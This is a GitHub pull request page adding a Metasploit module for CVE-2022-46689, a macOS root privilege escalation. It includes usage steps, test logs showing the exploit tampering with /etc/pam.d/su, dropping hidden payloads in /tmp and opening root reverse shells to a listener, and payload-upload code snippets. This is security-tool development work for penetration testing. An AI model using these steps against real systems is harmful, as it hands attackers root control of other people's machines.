Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2022-46689 macOS dirty cow #17415

Merged
merged 10 commits into from
Feb 2, 2023
Merged

Conversation

timwr
Copy link
Contributor

@timwr timwr commented Dec 26, 2022

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

Verification

  • Start msfconsole
  • Get a session on macOS < 13.0.1
  • Run the module:
use exploit/osx/local/mac_dirty_cow
set SESSION 1
set LHOST <tab>
set LPORT 4445
exploit 
  • Verify you get a new session as root
  • Document the thing and how it works

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 28, 2022

Just a heads up this will need to be rebased to make the checks pass due to issues discussed in #17419

@@ -0,0 +1,359 @@
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just wanted to say this PR is awesome, thanks so much for the contribution! Glad to see this exploit is open source :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we add the related license to the main LICENSE file?

It is an Apple license and it looks like modifications are allowed under certain conditions, so I think we're fine. That said, I'm not familiar with this kind of license and it would be a good idea to double check.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @cdelafuente-r7 I've added the related license to the LICENSE file. This is my first addition to the LICENSE file so please let me know if you think I've done it correctly or if any improvements could be made 🙏

@jheysel-r7 jheysel-r7 self-assigned this Dec 29, 2022
@jheysel-r7
Copy link
Contributor

Hey @timwr, thanks again for the module. When testing I wasn't able to get the module to return a meterpreter root shell, not exactly sure why - though a osx/x64/shell_reverse_tcp seems to work everytime without issue.

Were you able to run the module successfully with a meterpreter payload?

msf6 exploit(osx/local/mac_dirty_cow) > set payload osx/x64/shell_reverse_tcp
payload => osx/x64/shell_reverse_tcp
msf6 exploit(osx/local/mac_dirty_cow) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.4f5Jb0' (17204 bytes) ...
[*] Writing '/tmp/.XJTqwwh' (51392 bytes) ...
[*] Executing exploit '/tmp/.XJTqwwh /etc/pam.d/su /tmp/.YR06i8gSD'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Running cmd:
echo '/tmp/.4f5Jb0 & disown' | su
[*] Executing exploit (restoring) '/tmp/.XJTqwwh /etc/pam.d/su /tmp/.Dt8Ug5r'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[+] Deleted /tmp/.4f5Jb0
[+] Deleted /tmp/.Dt8Ug5r
[+] Deleted /tmp/.YR06i8gSD
[+] Deleted /tmp/.XJTqwwh
[*] Command shell session 3 opened (172.16.199.1:4444 -> 172.16.199.132:49156) at 2023-01-04 13:40:35 -0500

id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
uname -a
Darwin msfusers-Mac.local 22.0.0 Darwin Kernel Version 22.0.0: Tue May 24 20:31:35 PDT 2022; root:xnu-8792.0.50.111.3~5/RELEASE_X86_64 x86_64
Meterpreter attempts:

msf6 exploit(osx/local/mac_dirty_cow) > set payload osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/mac_dirty_cow) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.kJ5FUbU' (17204 bytes) ...
[*] Writing '/tmp/.drlmdd' (51392 bytes) ...
[*] Executing exploit '/tmp/.drlmdd /etc/pam.d/su /tmp/.pC5DLjT6'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Running cmd:
echo '/tmp/.kJ5FUbU & disown' | su
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (810648 bytes) to 172.16.199.132
[*] Executing exploit (restoring) '/tmp/.drlmdd /etc/pam.d/su /tmp/.M0eGUjym'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[-] Meterpreter session 4 is not valid and will be closed
[*] 172.16.199.132 - Meterpreter session 4 closed.
msf6 exploit(osx/local/mac_dirty_cow) >  set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(osx/local/mac_dirty_cow) > run
....
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Exploit completed, but no session was created.

payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_and_chmodx payload_file, binary_payload
register_file_for_cleanup payload_file
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jheysel-r7 can you test again without this line please? I vaguely remember their being some issues with payloads being run after they have been deleted on the latest macOS.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fyi I only tested this on Catalina, and it worked with meterpeter

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I removed this line and unfortunately did not work while testing on Ventura. I'm going to check in with some colleagues that are a bit more familiar with the inner working of the osx meterpreter today 🤞

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You could also try this payload: #13262 on ventura

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

E.g

payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've changed the default payload to osx/x64/shell_reverse_tcp just because it works on all versions of MacOS I've tested with no issue. Python is unfortunately not installed by default on MacOS so I think we should avoid setting that as the default. Let me know if you have any concerns with this approach.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Perfect I was going to suggest exactly the same thing. I'll be reunited with my MacBook in about a month so maybe I can fix it then in a separate pull request

LICENSE Outdated Show resolved Hide resolved
LICENSE Outdated
@@ -135,6 +135,13 @@ Purpose: The built result is used in:
payloads/stages/windows/vncinject.rb
payloads/stages/windows/x64/vncinject.rb

Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just confirming - does this name aligns with the file is on this PR?

@jheysel-r7 jheysel-r7 merged commit af2ef53 into rapid7:master Feb 2, 2023
@timwr
Copy link
Contributor Author

timwr commented Feb 3, 2023

Thanks for landing this @jheysel-r7 !

@timwr timwr deleted the mac_dirty_cow branch February 3, 2023 08:01
@dwelch-r7 dwelch-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 3, 2023
@dwelch-r7
Copy link
Contributor

Release Notes

This module is the macOS equivalent of the Dirty Cow vulnerability and allows for an unprivileged user to execute code as root

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
easy module osx rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

6 participants